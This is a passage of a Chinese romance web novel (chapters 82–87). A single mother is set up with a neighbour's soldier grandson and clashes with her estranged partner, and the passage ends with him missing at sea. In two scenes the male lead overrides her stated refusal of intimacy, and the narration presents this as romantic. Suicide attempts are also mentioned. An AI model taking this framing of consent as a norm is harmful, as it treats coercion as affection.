最近更是想把自己的孙子介绍给她。 吓得温疏亦连忙拒绝,“周奶奶,这不好的,他是未婚,我带着孩子,不般配的。” “我觉得挺好的,这小子偷偷跟我提了几次了,想要认识你,就今天吧。” 周奶奶牵起温疏亦的手,就往自己家里走。 周奶奶家的房子是大户型。 比她租的这个房子,要大上一倍还要多。 满屋的红木家具,看起来还挺富贵的。 “贺正,小温来了,别害羞了,赶紧出来。” 很快,从其中一个房间,走出一个年轻的男人。 长得很周正,浓眉大眼的。 高大,健硕。 年纪跟温疏亦差不太多,像是容易害羞的性子,看起来有一些局促。 “奶奶,你怎么……” “不是你整天在我耳边说,小温长得漂亮,又踏实能干的,要是她没有对象啊,你就想跟她交往试试看吗?” 这话说的,温疏亦和周贺正都尴尬。 “奶奶……” “小温啊,你坐。”周奶奶将温疏亦带到客厅,对周贺正说,“别傻愣着了,给小温倒杯果汁来。” “哦,哦。” 周贺正转头去忙活。 温疏亦尴尬坏了,“周奶奶,我一会儿还有点事……” “不耽误太久,你呀跟贺正聊聊,我这孙子,一直在部队里当兵,这难得休个假回来,我们认识一下,说不定,就互生好感了呢。” 温疏亦尬笑着,比哭还难看。 怎么可能互生好感呢。 墙上那张全家福,里面一张穿便装的都没有。 这已经将这个家庭位置,拉到了望而生畏的高度。 盛珽妄一个装过制服的,她都搞不定。 这样的家庭,她哪高攀得起嘛。 “周奶奶,你的好意我心领了,你看我这条件,真的配不上,要不就算了吧。” 温疏亦起身要走。 抬眸,就看到周贺正端着一杯果汁走了过来,“温小姐,你难得过来,坐下吧。” “就是。”周奶奶将温疏亦再次摁下,“小温啊,难不成,我们家是有什么脏东西吗?这么坐立难安的,别拘谨,跟到了自己家一样的。” 温疏亦:…… 周贺正将果汁递给温疏亦,“家里只有橙子了,不知道,你喜不喜欢。” “谢谢啊。” 周奶奶起身,对自己孙子挤鼓眼,“好好跟小温聊。” 偌大的客厅里。 空寂得令人心乱。 温疏亦挤了抹比尴尬他妈,还尴尬地笑,“周奶奶可能对我的条件,没了解透彻,我有个宝宝,而且我年纪也不小了,没有父母,还有一个生病的弟弟……” “我不介意。”周贺正生怕拒绝般地抢答,“你的所有的条件,我都能接受。” 温疏亦:……这人当兵当傻了吧。 “你,你的条件这么好,你们家的条件也……这么好,你何必找一个我这样的女人呢?” 她不懂。 她承认自己长得有点姿色。 但这点姿色在这种家族面前,那简直是不值一提啊。 “周先生,真的,可能你是可怜我,一个人带着孩子不容易,不是这样的,他有父亲,他父亲很有钱的,我也有工作,真的不可怜的,我知道你是一个好人,但真的……” 大可不必谈感情这种事情。 周贺正很认真地听温疏亦,语无伦次地说完,点了点头,“我不是可怜你,我从小到大没喜欢过什么女孩子,我对你其实是……一见钟情。” 第83章 我是出差了,不是死了 一见钟情? 这世界上哪来的那么多一见钟情。 反正,她没有遇到过。 “我觉得我们……”温疏亦想拒绝,又不想让对方失了面子,“……就是我这种人吧,男人也尝过了,孩子也生过了,对家庭,对婚姻没有那么大的渴望,你就不必……” 不必在她身上浪费时间了。 “没关系的,我有信心。” 周贺正拿出自己的手机,递到了温疏亦的面前,“加个好友吧,我想跟你深入了解一下。” 温疏亦不怎么相加。 但不加,好像又不给人面子。 便拿出手机,扫了周贺正。 “小温啊。”周奶奶拿了水果过来,放到了温疏亦的面前,“一会儿啊,你周爷爷和周伯伯就回来了,今天,家里来贵客,你一会儿帮奶奶忙活忙活,行吗?” 温疏亦像是被架上了。 应也不是,不应更不是。 平时周奶奶没少帮她的忙,不应,显得自己跟白眼狼似的。 “好啊,周奶奶,我一会儿帮您。” “那你们先聊着。”周奶奶高兴了,转头又离开了客厅。 温疏亦一本正经地坐着。 腰又酸又累。 正想怎么结束,和周贺正的交谈时。 她的腰后突然多了个软塌塌的靠垫。 是周贺正递过来的。 “你怎么……知道我……”她讶然与周贺正的细心。 周贺正微微一笑,“我看你老是动来动去的,想必是腰不舒服,怎么?腰受过伤吗?” “车祸。”她说。 周贺正眉心微皱,有一些惊讶她竟然把车祸,说得如此轻描淡写。 “下次我回部队,找我们军医要一些治腰伤的药给你,那药挺神的。” “不,不,不。”温疏亦慌忙摆手,“别麻烦了,我这个动一动就好了,不是一会儿要来客人吗?我去厨房给周奶奶帮忙去了。” 温疏亦起身。 快走几步去了厨房。 周贺正抓了抓寸头,低头笑了笑,耳根发烫。 温疏亦吐息了两口,开始干活。 厨房其实有阿姨。 周奶奶大概是想留下她,才让她帮忙的。 她懂周奶奶的心意。 但,她确实没这个意思。 不知道过了多久。 周爷爷和周伯伯一起回来了。 跟他们一起来的,还有今天的客人。 周奶奶跟客人打了个招呼,便对温疏亦说,“小温,你把做好的菜,都端到餐桌上去吧,小心一点,别烫着。” “好的周奶奶。” 客厅与餐厅相通。 温疏亦像只勤快的小蜜蜂,忙里忙外的。 周贺正过去帮忙。 在外人眼里,倒像是恩爱的小两口。 客厅里,来做客的男人,眼红了,后槽牙咬得咯吱咯吱响。 “这位是……”他特意问向了周爷爷。 周爷爷刚要动唇,周奶奶便把话接了过去,“小盛啊,你觉得这个女孩怎么样啊?我们家贺正很喜欢,我也很喜欢,老周应该也会喜欢的。” 盛珽妄:…… 很喜欢? 他不知道,是该夸奖温疏亦的聪明能干。 还是该给周家说明,这个漂亮的女孩,是他的太太。 咬了咬,他丢出一抹冷笑。 “挺好的。” “是吧。”周奶奶眼睛笑得开了花,“我的眼光没错的,贺正啊对她是一见钟情,你看,多般配。” 一家人走到餐桌前坐下。 温疏亦摘了围裙,准备告辞。 一抬眼。 她血槽瞬间空了。 周家的贵客是……盛珽妄? 他不是在国外出差吗? 回来了? “小温,赶紧地坐下,就座贺正旁边,这都没有外人,别拘束。”周奶奶还是一如既往的健谈和热情。 盛珽妄一瞬不瞬地盯着她。 她感觉自己像是要被看穿一般的。 不行。 她绝不能坐下。 更不能坐到周贺正的旁边。 “周奶奶,我就不坐了,我还有别的事情……” “什么事情,也不急在这一时,把饭吃了再去做。”周奶奶摁着温疏亦的肩,硬生生地摁在了周贺正旁边的座位上。 周伯伯给盛珽妄倒了酒。 周爷爷也很健谈。 明明盛珽妄在跟他们聊天,为什么她感觉自己后背犹如火烧一般。 周贺正给温疏亦夹了菜,“想吃什么,跟我讲,我来帮你夹。” “不,不用,我自己来。”温疏亦声如蚊蝇,就这样,还怕盛珽妄听到。 “这小两口,看起来还挺粘乎的。”盛珽妄突然来了一句,可把周奶奶欢喜坏了,“小温可是个好孩子,她又工作又带孩子的,可能吃苦了,虽然贺正没交过女朋友,但我们周家不讲究这些,人品好,比什么都重要。” 盛珽妄皮笑肉不笑的,睨向温疏亦,“小温被周家看上,还真是好福气。什么时候认识的?这是确定关系了?” “没,没有确定关系。”温疏亦感觉自己再不解释,就要断头了,“我和周贺正,今天才……” “小温,别紧张,小盛也不是外人。”周奶奶脸上依然是温和的微笑,用公筷给盛珽妄夹了菜,“我们贺正正在追求小温呢。小盛啊,你别光喝酒啊,吃菜吃菜。” 温疏亦如芒在背。 实在是煎熬。 吃了没几口,温疏亦还是找借口溜回家了。 关上门。 她暗叫完蛋了。 这也太巧了吧。 周奶奶还指不定要跟盛珽妄,怎么编排她和周贺正呢。 那盛珽妄会怎么想啊? 温疏亦咬着指尖,在原地转了两圈。 爱怎么想怎么想。 她又没有卖给他。 再说了,她也没有跟周贺正谈恋爱啊,就算谈了,盛珽妄也管不着。 温疏亦自己说服自己。 她又没干什么见不得人的事情。 听到对门有动静。 她忙扒着门镜往外看。 盛珽妄要走了,周家人出来送。 看到盛珽妄被周家人簇拥着,离开。 她的心,也算是落回到了肚子里。 洗了个苹果咬在嘴上,她又给自己点了份外卖。 然后,抱着平板,准备追一会儿剧。 半个小时后。 门铃响了。 温疏亦赤着脚,开门伸手,“好的,谢……” 不是外卖。 是盛珽妄。 不知道是心虚,还是害怕报复。 她条件反射要关门,被他大手一把推开,顺手将门在他背后关上了。 “你,你不是走了吗?怎么又回来了?”温疏亦心慌地看向盛珽妄,“你别这样看着我啊,我又没做什么对不起你的事情。” “没有吗?” 他长胳膊一伸,将温疏亦拦在了他与墙面中间,“温疏亦,我是出差了,不是死了,让你搬出来住,只是不想让你有太多的心理压力,不是让你出来搞男人的。” “我……” 她想说,她没有那样。 却又觉得,她何必要跟他解释。 扭头,不说话了。 盛珽妄咬了咬牙根,大手握住她的下巴,将小脸掰过来,“解释啊。” 第84章 只要我不愿意,你就不能强迫我 温疏亦不说话。 很讨厌,他这种上位者姿态。 就那么跟他对视着。 眼眶越来越红。 眼泪在眼眶里打起转。 盛珽妄蹙眉,“怎么?你还委屈上了?” “温疏亦,你在搞婚外情,你哭什么哭?” “你是看上周贺正了?我承认,这小子,确实一表人才,各方面没得挑,但……我,我又差在哪儿了?我不比他强吗?” “他家庭有多复杂,你看不到?我起码,孤身寡人一个,只要我够爱你,没人可以给你委屈受,我可以护你周全,不是吗?” “好了,别哭了。” 他终是看不下去,她红肿着的眼睛。 重重抬手,轻轻擦泪,将她抱进了怀里,“疏亦,我不希望,我的感情,因为暂时的分开,发生变化,你想要什么样的爱情,你跟我讲,我都可以给你,但我不允许你的心,给别人。” 温疏亦想推开他。 他不准。 也不放。 他凭什么不准? 瞪他的眼神,越发的凶狠。 “好了,我又没说你什么,别耍小孩子脾气了。” 温疏亦也不知道,盛珽妄哪来的好脾气。 都看到她跟别人相亲了。 还在循循善诱的,跟她讲道理,谈感情。 可她跟他…… 总之,这样的相处怪怪的。 或即或离,忽远忽近的。 不像是恋爱,更像是结婚了,为了一个家,各忙各的。 偶尔见一面。 各自发泄一下生理需要,仅此而已。 她需要的是心灵上的慰藉。 而不是原始的运动。 “你放开我,我腰疼。”她说。 盛珽妄很听话,轻轻松开她的同时,温热的大手,捂在了她的腰眼上。 “可能是你今天坐太久了,毕竟相亲这种事情,还是得表现一下的。” 温疏亦瞪眼。 他又在阴阳她。 “是啊,我很重视和周贺正的相亲,我觉得他这个人,挺好的,不像有些人,突然就失踪,突然就出现。对别人不尊重,就不要指望,别人来尊重自己。” 他笑了。 温疏亦肯跟他斗嘴,说明气消了。 他打横抱起她,直接将她抱回了卧室。 “这次出国,我是为了给乔深请医生,做进一步治疗的,我知道乔深是你的心病,为了早点把你的心病医好,我只能全世界地跑。” 温疏亦错愕地望着他。 真的吗? 他如此在意自己的事情? “真的?” 他点头。 她心里好受了一些,“那找到这方面的专家了吗?” “找到了,配合马其顿医生,效果加倍。” “真的吗?”温疏亦眼中有了光,惊喜若狂,“太好了,真的太好了,可惜……” 心病能医。 身体上的残疾,是永远治不好了。 “……可惜,他的腿永远站不起来了。” “受伤的时候太小了,失去了最佳的治疗时机,确实挺遗憾的。”他很认真郑重地做出承诺,“不过你放心,我会照顾他一辈子的,以后绝不让他受苦。” “也,也不用。”她不想把负担丢给别人,“我可以赚钱,我能养活他。” “你还跟我分什么你我的。”盛珽妄去吻温疏亦的唇,被她拒绝了,“你回来,不会就是想跟我做这事的吧?” “你不想?”他反问。 温疏亦蹙眉,“我是你的生理发泄通道吗?盛珽妄,你是不是忘了,我们之间连男女朋友都算不上,我凭什么要让你……” 让你占便宜。 “那你觉得,什么样的关系,可让我……”他有一些戏谑的笑着,“……说来听听。” 温疏亦心里翻白眼。 什么关系下,可以发生关系。 他不是比她更清楚? “无论什么样的关系,只要我不愿意,你就不能强迫我。”她表明自己的态度,“我现在就是不想,不愿意,明白……唔……” 话没说完。 唇已经被堵上。 他太清楚,也太了解,她的身体比嘴诚实。 如火如荼之时。 门铃响了。 “可能是外卖到了。”温疏亦想下床。 被盛珽妄摁倒,不依不饶地吻着,“吃什么外卖,先办正事。” “疏亦,我是贺正。”门外响起了男人的声音。 还没等温疏亦做出反应。 盛珽妄已经起身,准备出去了。 她急忙下床,拉住他,“你别出去,我去开门。” “怎么,怕他知道我们的关系?”他很不高兴,他是她丈夫,“温疏亦,你是不是心里有鬼?” “你和周家的关系,想因此闹僵吗?你也不想吧?”温疏亦扯过宽松的针织开衫,将自己裹紧,“你最好也不要给我发出任何动静,否则……” 她警告他。 盛珽妄:……他什么时候被这样吓唬过。 气归气。 但听话还是很听话。 温疏亦关上卧室的门,走过去开门,“周先生。” “刚刚我妈回来带回了一些水果,我们家都是大男人,吃得少,挺甜的,我觉得你应该爱吃,便送过来。” 温疏亦想拒绝来着。 但是周贺正过于真诚,她的话也变得委婉起来,“这怎么好意思,这些水果看起来还挺贵的,要不,我付你一些钱吧。” “要是想卖给你,我就不拿过来了,收下吧。” 周贺正将水果往她面前又递了递,“不用不好意思,也不要觉得欠情搭意的。” “好吧,那……”她想着回礼,转身回到柜子前,拿了一盒人参出来,送给了周贺正,“这人参是朋友送的,听说老年人用了好,给周奶奶和周爷爷。” 周贺正笑笑,收下了,“那谢谢了。” “嗯。” “我下周才走,如果你有时间的话……”周贺正想约温疏亦。 温疏亦扯了谎,“那个,我下周工作上可能会比较忙一点,不一定……有时间。” “没关系,到时再说。” “嗯。” 二人简短的对话后。 各自回了家了。 温疏亦拿着水果,一回头,就看到盛珽妄赤着上身,坐在沙发上,好整以暇地在她。0 她吓得心口紧了紧。 但视线还是很诚实地落到他健硕的胸肌,以及层次分明的腹肌上。 男人还真得有点肌肉,才好看。 感觉自己要流口水了。 温疏亦慌忙将视线收回来。 把水果放进了冰箱后,她看了一眼时间。 很晚了。 她挺困的。 没理人,就回了房。 盛珽妄:…… “你和他还挺客气的。”他倚靠在卧室的门框上,抱怀问。 温疏亦躺进舒适的被窝里,嗯了一声,“实话讲,我感觉,他人挺不错的。” “动心了?”他咬牙切齿的。 温疏亦翻了个身,背对着他,“目前还没有,以后……不好说。” “温疏亦,你是不是真当我死了?” 她无语拧眉,“我困了,要睡了。” 盛珽妄:…… 上火了。 火烧得很大。 不来个三次以上,这火无法熄。 他没好气地扯开她的被子,将她抱到身前,狠狠的吻她…… 第85章 老公,妄 盛珽妄解了气。 温疏亦也一晚上没怎么睡。 一大早。 她顶着黑眼圈,去了公司上班。 “疏亦姐,有你的花。”公司前台毛毛,指着面前的花说,“还是两束哦,都写了卡片了,你赶紧看看。” 温疏亦没怎么收过花。 一束茉莉白玫。 一束曼塔。 都是玫瑰。 她猜,是不是哪位客户,觉得她的设计给力…… “谢谢。” 她抱着两束花,回了自己的位置上。 曼塔上的卡片,字迹工整,[送,疏亦,愿开心。署名,周贺正。] 茉莉白玫上的卡片,字迹潇洒。[老婆,昨晚辛苦了,晚上请你吃好吃的,老公,妄。] 温疏亦差点将盛珽妄送的卡片丢出去。 好油腻。 谁答应嫁给他了。 还老婆老公的自称上了。 刚要把如此油腻的卡片扔进垃圾筒里。 手机响了。 是盛珽妄打来的。 第一句话就是,“不许扔掉。” “你是我肚子里的蛔虫啊?”她鬼使神差地又将卡片,放回到了花束里,“盛珽妄,你什么时候变得这么油了?酸不酸呀。” “你是我老婆,哪里不对?”他有证的。 温疏亦笑着翻白眼,“结了婚的叫老婆,没结婚的,不是老婆,傻了吧你。” “反正,你不许扔,要好好留着,下班我去接你。”他抬腕看了眼时间,“我订了法餐,咱们晚上去吃。” “太洋气了,不适合我。”温疏亦笑着打开了电脑。 盛珽妄在手机那头,也跟着笑了一口,“我也没怎么吃过,咱俩一起,出丑的话,也没那么尴尬。” “再说吧,指不定要加班呢。” “好。” 温疏亦的心情不错。 虽然昨天晚上,被折腾了一晚上,但茉莉白玫,她是真的喜欢。 蔓塔也不错。 但感觉上,就是没有白玫能俘获她的心。 温疏亦叹自己不争气。 对盛珽妄还是没有放下。 让她没有想到的是。 下班的时候。 盛珽妄和周贺正同时出现在了公司的楼下。 从楼上窗户往下看的女人,觉得这不是一个好兆头。 “穗安,江湖救急。”温疏亦给李穗安打了个电话,把事情简单地说了说。 李穗安觉得她想太复杂了,“如果你心里没放下盛珽妄,就跟姓周的说呗,人家是当兵的,不能跟你死缠烂打。” “我怕他觉得我人品不行,毕竟晚天那样的场合下,我也没承认和盛珽妄认识。” 她不是想脚踩两条船。 男人要面子,当兵的更要面子。 她倒是可以这样下去,把话说清楚。 周贺正的脸面上不好看。 人家跟她无怨无仇的。 她何必要这样呢。 “穗安,我会找机会跟周贺正说清楚的,但今天,不行,你帮帮我。” “那你想让我怎么帮你啊?” 温疏亦心里也没有主意,“你点子多,你帮我想想吧。” “好吧。” 温疏亦也不知道,李穗安用了什么办法。 反正,她下楼的时候。 周贺正没在。 盛珽妄正悠闲地倚在车边,望着她,露出那不值钱的笑。 看温疏亦东张西望的,他笑笑,“人早走了,可能是跟别人约会去了吧。” “你没跟他胡说八道吧?” “我能说什么?” 盛珽妄这个人,向来有分寸。 他与周家的交情不浅。 他更不想让温疏亦以后,见了周家人,抬不起头来。 伸手,他揽住温疏亦的肩,“我什么都没有说,要说清楚,也是你跟周贺正说清楚,我不掺和。” “你知道就行。” “走吧。” 温疏亦上了盛珽妄的车子。 自从她搬出来后,心情好了不少,做什么事情也顺利了不少。 她挺好奇。 汤凤玉和李贞贞,是不是还住在阳关大道小区住。 “你和你妈,妹妹相处得怎么样?” 盛珽妄单手握着方向盘,右手握着温疏亦的小手,轻轻的摩挲着,“我让张纶在外面买了个小房子,让她们过去住了。” “反正我也不在你那儿住了,你何必又要把她们赶出去呢?” “我习惯一个人了。”他侧过眸子,看了她一眼,“我不希望我,我的家庭,受到她们的影响,从小她把我抛弃,我够对得起她了。” “你妈当年,也是被爱情冲昏头了,她现在后悔,愧疚,也想弥补当年犯的错,你应该给她机会。” 盛珽妄笑着摇头。 他的母亲不是因为知道错了。 而是因为,她上了岁数,李家依靠不上,只能找他这个儿子。 刚巧,他这个儿子,还有一些能力。 “不说这个了。” 盛珽妄主动地结束了个话题。 法餐很优雅。 但温疏亦不习惯。 尤其是刀叉。 “来双筷子。”他招手叫了服务生过来。 服务生很快送来了一双筷子,“先生,您要的筷子,其实,我们有用餐服务的,我可以帮您。” “不用,我太太习惯用筷子。” “好的,先生。” 温疏亦想找条地缝钻进去。 捂着半边脸,想骂人,“你要什么筷子,我又不是不会用刀叉。” “我看你用得不习惯,其实……”他压低声音,“……我也不习惯。” “你不习惯,你可以自己要,干嘛要说我要嘛。”温疏亦真想用筷子,戳瞎盛珽妄的眼睛,“你就成心的,成心让我丢脸。” 男人哦了一声,对着服务大声说了句,“我不是我太太用不习惯,是我,用不习惯。” 服务生,尴尬的咧嘴笑了笑,“好的先生。” 温疏亦嘶…… “你成心的吧,丢死人了。” 盛珽妄笑着,看起来心情不错,“我以前在国外打杖的时候,牛肉只有在有条件的情况下,才能烧熟吃,大部分的时候,是生吃,没有筷子,更没有刀叉。” “你在国外……”这是她第一次,听盛珽妄提及,自己当年的事情,“……那时候几岁啊?” “十六岁。” 温疏亦愕然。 十六岁? 不过是刚刚上高中的年纪。 如何能扛枪打仗呢。 “是盛家把你送去的,还是你自己要去的?” “都有吧。”他笑笑,眼角有淡淡的皱纹,“反正那个时候,天不怕地不怕,不知道战场有多残酷,更没有想过,有可能活着去,死着回。” 温疏亦的心被缠得密密麻麻。 窒息中,又透着心疼。 “那时候,一直是许初音陪在你的身边,对吗?” 他没否认,“没错。” “所以,她对于你来说,是一个特殊的存在,不是单单有男女间的感情,是相互依赖,相互扶持的对吗?” 第86章 拉黑,删除 盛珽妄没否认。 许初音陪伴了他整个少年时期。 他对她是有依赖的。 可那种依赖,不是男女间的情感。 “疏亦,许初音对我而言,是任何人都无法取代的,我愿意照顾她,愿意为她舍生忘死,但这不是爱情,你能懂吗?” 温疏亦不是很懂。 如果许初音对他如此的重要。 他为什么要将人送到国外去? “或许,你把亲情和爱情搞混了,你是爱她的,不然,你不会说她无可替代,只是这种感情的混乱,让你失去了判断的能力。” 温疏亦有些心酸。 许初音无可替代。 那她呢? 他把自己当成了替代品? 再套上爱情的幌子,让她分辨不清? 盛珽妄笑了。 他将她的小手握进掌心里中,“我虽然没念过多少书,但是亲情和爱情,我还是分得清楚的,温疏亦,我爱的是你,我和你是爱情,和她不是。” 温疏亦抬眸看向他。 盛珽妄最近真的,特别爱表白。 动不动就爱啊爱的。 以前他没把爱挂到嘴边过。 是不是他认为,谎话说多了,就会变成真的了。 “既然她无可替代,是不是,以后我……”温疏亦的话还没有说完。 盛珽妄的手机就响了起来。 他看一眼,眉心肉眼可见地蹙紧。 “喂?什么?人怎么样了?我知道了。” 好像手机里说了什么严重的事情。 温疏亦感觉盛珽妄的脸色,明显发生了改变。 她在纠结着,要不要问问他发生了什么。 几乎是同一时间。 盛珽妄开口说,“许初音在国外自杀了,三次了,一次比一次严重,主治医生说,她精神出了问题,我需要……” “我明白。”他需要出国去看望一下。 所以刚刚,那句她未说完的,[如果我和许初音之间,做个选择,你是不是还会选择许初音?] 答案在此时具象化了。 不管许初音做过多少,令人发指,又匪夷所思的事情。 盛珽妄还是会一如既往的……走到她的身边。 就如他自己说的。 许初音对他而言,是没有人可以替代的。 包括温疏亦。 盛珽妄解释,“这次,我保证在确保她安全后,马上回国,你别多想好吗?” “不重要盛珽妄,你可以去做你想做的,即便是三年不回,我也能接受,一个三年,两个三年,和三个三年,对我来说,是一样的。” 他的信用,已经在她的心底崩塌。 只是这次,她更平静一些。 “不是你想的那样。”他紧紧地握住了她的小手,“许叔在临死前,将女儿托付给我,我答应过他,要照顾好许初音,其实这几年,她在国外挺安稳,我也不知道最近为什么……,疏亦,我对她真的没有……” “盛珽妄。”温疏亦笑了,很温和,没有任何情绪,“不需要跟我解释,你有许初音,我也有要追求我的周贺正,正好扯平了。” 温疏亦不想激动。 也不想说这些有的没的。 可是她一碰到许初音这个名字,她就会失态。 她不想聊这个话题了。 许初音对于盛珽妄是个什么样的存在。 她已经很清楚了。 无可替代也好,依赖也罢,直白一些说,就是情深意重,不离不弃。 罢了。 她刚刚要对他重燃幻想,这个泡沫就破了。 “我吃好了,回家吧。”温疏亦起了身。 盛珽妄没动。 就那么微微仰着下巴,痛苦地看向她,“疏亦,你对我一点信任都没有吗?” “我有义务要对你信任吗?”温疏亦不想笑的,可这话真的太好笑了,“还是说,你做过什么,可让我百分百对你产生信任的事情?盛珽妄,我和你的关系里,难道不是欺骗更多一些吗?” 她真蠢。 竟然因为一束花,又觉得他们之间可以了。 许初音应该不是今天才这样的。 盛珽妄,在她不知道的时间里,其实一直在关注着那边。 就比如说。 他出差去国外,是替乔深找医生这事。 是替乔深找医生,还是去看许初音,谁又知道呢。 她真替他累得慌。 他不说话。 她也不想在他面前竖棍子。 她深吸了口气,“谢谢你的法餐,我先回去了。” “疏亦,如果我真对她有什么别的想法,我们十六岁就认识了,还用等到现在吗?你就不能动动脑子想想?” 温疏亦错愕。 他在指责她吗? 她笑了,转身大步往外走。 盛珽妄快步又追了出去,将她拦下,“好了,你要实在信不过我,你跟我一起去。” “我还有工作,周末还要接儿子,说不定,还会谈一段刻骨铭心的恋爱,实在对别人的爱情故事,不感兴趣,再见。” 温疏亦实在笑不出来。 礼貌又疏离,绕过他。 她转身离去,他伸手去抓,却握了一掌的空气。 在爱情和承诺发生冲突的时候。 他真的有必要恪行承诺吗? …… 温疏亦在出租车上哭得一塌糊涂。 她一直说去江边。 吓得出租车司机在华城大道上,绕了一圈又一圈。 “这人生啊,哪能一帆风顺的,谁还不遇到点坎坷了,可千万别想不开啊,你想想你的家人,想想父母,想想孩子。” 出租车司机,从后视镜里看着哭得眼眶红肿的女人。 他也不会劝人。 但寻死这事,是万万行不通的。 “好死还不如赖活着,人只要活着,那就有解决问题的一天,咱不能一时冲动,让问题把咱解决了呀,你说是不是?” 温疏亦不说话。 眼泪却也没停。 盛珽妄打来电话,她没接,直接拉黑删除。 她发誓再也不跟他纠缠了。 “师傅,我不寻死,我就是去江边静静。”她怕出租车司机不信,又补了句,“我还有儿子呢,他才四岁,我不舍得丢下他,况且为了个男人就去寻死,不值得。” 出租车司机总算是松了口气。 “是,你说得没错,为了别的死,别人可能还会可怜你,为了男人死,只会受到唾弃。” “你说得没错。” 出租车司机将温疏亦,送到江边后,又说了一些宽慰她的话,这才不放心地离开。 温疏亦在江边大桥上,扶着围栏,往远处望去。 微风飘荡,万家灯火。 人这一辈子,不止爱情一件事情。 或许盛珽妄背负着太多的责任,但这不是她要无条件,甚至无底线纵容他的理由。 她真的没那么伟大。 他有权利选择了那样的人生。 她也有权利,选择与他一刀两断。 手机响了一声。 是盛珽妄发的信息。 “怎么没回家?去哪儿了?” 温疏亦没回。 把他的微信也拉黑了。 她就那样静静地望着江面发呆。 细数着自己这些年,走过来的路。 盛珽妄是唯一的选择吗? 当然不是。 所以,她还有什么可难过的呢。 无非就是不能给哆哆一个亲生父亲。 但哆哆也不喜欢这个亲生父亲。 更没有什么可遗憾的了。 第87章 他出事了 温疏亦不知道在桥上呆了多久,久到腿都站麻了,才打了车回了自己的出租屋。 “你回来了。” 是盛珽妄。 他在她的家门口。 温疏亦没理,打开门走了进去。 盛珽妄看起来,有很多的话要讲,千言万语的最后化成了一句,“如果你不希望我去国外,这次,我可以不去。” 温疏亦的身子,还是僵了僵。 他在妥协吗? 可他说的是这次,而不是以后,不是永远。 他只是在给她一个缓冲的时间。 等她气消了,等她哪天高兴了,他又会找机会飞到许初音的身边。 所以……意义不大。 “盛珽妄,我们年纪都小了,什么是自己想要的,什么是自己不想要的,我们都很清楚,如果你今天跟我讲,你永远以我为重,就这个氛围下,我真有可能,会跟你说,你娶我吧,盛珽妄,我觉得你可以托付。” 可惜。 没有。 就算她现在,再重给他一次机会,他也说不出这样的话。 他的心里,还是看重情义的。 不止。 还有承诺。 “好吧,我承认,你又一次错过了与我携手一生的机会,看吧,我们就是这样的没有缘分,老天爷都不想让我们在一起。” 盛珽妄眼底露出苦涩。 他从身后,轻轻地将她抱紧,“疏亦,我是一个信守承诺的人,这次我去见许初音,会跟她讲清楚,无论今后,她再发生什么样的事情,我都不会再管了。” 他将下巴抵在她的肩窝里。 卑微地请求着,“就最后一次,我不会让你输的。” 他的大手握着她尖美下巴,侧着脸与她接吻。 温疏亦哭了。 眼泪流进他的嘴里,他心疼地抱紧了她,“疏亦,我爱你,我不想失去你,就相信我一次好吗?” 温疏亦给不了答案。 她也不知道,为什么每次都要她来受这个委屈。 “你刚刚说,如果我不希望你去,你可以不去,是真心话,还是……只是为了拖住我,然后再说服我同意的假话?” 她通红的眼睛,看着他。 再给他一次机会吧。 如果他说是真心话。 她或许,还真的可以再赌一次。 盛珽妄没有给她答案。 她便明白了。 “算了盛珽妄,我不想再活在你的谎言中了,我们结束吧,彻底的结束,以后我们两不相欠,我们就当从未认识过。” 狠话说了。 接下来,他做何选择,都不重要了。 “你走吧,如果你想跟我分得清楚一点,就等你从国外回来,我们再……或是你找律师跟我对接也行,真的,我不想再跟你纠缠下去了,我真的好累,好累……” 温疏亦推开盛珽妄。 回了卧室。 她从未想过谈场恋爱,会如此地伤神伤心。 盛励骗她,盛珽妄还要骗她。 从偷着骗,到明目张胆地骗。 到底是她脾气太软了,还是太好欺负了? 她摇头。 将脸埋进被子里,痛哭。 …… 国外那边又打来电话,许初音在割腕没死成的情况下,又跳楼了,正在医院抢救。 手术要签字。 就算是死了,也得有个人到场收尸。 她没有亲人。 那边的医生强烈要求,盛珽妄过去一趟,处理这事。 盛珽妄没有办法。 手写了一张道歉的字条,放到了茶几上。 [老婆,我就去三天,不管她是死是活,我都会回来,我答应你,我一定做到,等我好吗?] 他给她留了张黑金卡。 然后,走了。 温疏亦哭了一晚上。 迷迷蒙蒙的睡到早晨,眼肿得像核桃。 她看到了盛珽妄留的纸条。 无感,直接撕碎丢垃圾筒。 那张黑金的卡,她找了个同城快递,邮给了张纶。 她好像又回归到了正规上。 上班,下班。 周贺正约过她,可她实在是没有心情,婉拒了。 后来周贺正去了部队。 还给她邮来了,治疗腰伤的药,她挺感激的。 盛珽妄说三天回来。 三十天了,他也没有再出现。 幸好,这次她没有相信他的承诺。 没有盛珽妄在的日子,温疏亦生活得很舒心。 这天。 她正在吃晚饭。 门被敲响。 打开门,是汤凤玉和李贞贞。 还真是稀客。 “你们……有事?” “温疏亦,我哥出了那么大的事情,你跟没事儿人一样的,你是怎么吃得下饭去的?” 李贞贞没头没脑地说。 温疏亦:……???? 汤凤玉眼眶也红得要命。 将李贞贞拽开,“我来说,温疏亦,阿稷他在国外出事了,人失踪了,找不到了,你知道他去哪儿吗?” 温疏亦微微一怔。 他不是去找许初音了吗? 怎么会失踪呢? “你应该给许初音打电话问问,他们应该在一起,张纶可以联系到的,你们找错人了。” 李贞贞抬手推了温疏亦一把。 “张纶根本就不知道,他已经去国外找我哥去了,什么许初音,什么乱七八糟的,温疏亦,如果我哥死了,你可别来跟我们抢财产,我警告你。” 李贞贞恶狠狠的。 搞得温疏亦心烦。 汤凤玉抓住温疏亦的胳膊哭,“阿稷真的出事了,你去找找他吧,他对你那么好,你别没良心啊。” 温疏亦:…… 她怎么又没良心了。 这家人,到底什么情况啊? “我和他一点关系都没有,要么你们自己找去,要么就报警,别来烦我。” 温疏亦将门重重地关上。 什么乱七八糟的。 盛珽妄出事了? 他那种人怎么会出事呢? 真的出事了吗? 饭,没心情吃了。 她尝试着将盛珽妄的手机号,从黑名单里拉出来,给他打了过去。 关机。 难道……真的出了什么意外? 抱着不管是真是假,她不想当个糊涂虫的想法。 温疏亦给张纶打了个电话。 “喂,张特助,是我。” “温小姐。”张纶的声音沙哑,听起来很疲惫,“有什么事情吗?” “你和盛珽妄在一起吗?” “没有。三爷他……出事了。”张纶声音哽咽,听得温疏亦心脏一紧,“他真的……出事了?怎么会呢?他不是去找许初音了吗?怎么会……” “三爷确实是去处理许小姐的事情了,他说自己有三天的时间,但是当地天气不好,飞机延误,为了让自己准时回到国内,他订了船票,结果……” 温疏亦:……结果? 结果什么? “张特助,你一次把话说完,他……怎么了?” “船在行驶途中,遇到海盗了,船上的人都失踪了,包括三爷在内,出动了很多搜救的船只,反馈的消息都说是……凶多吉少。” 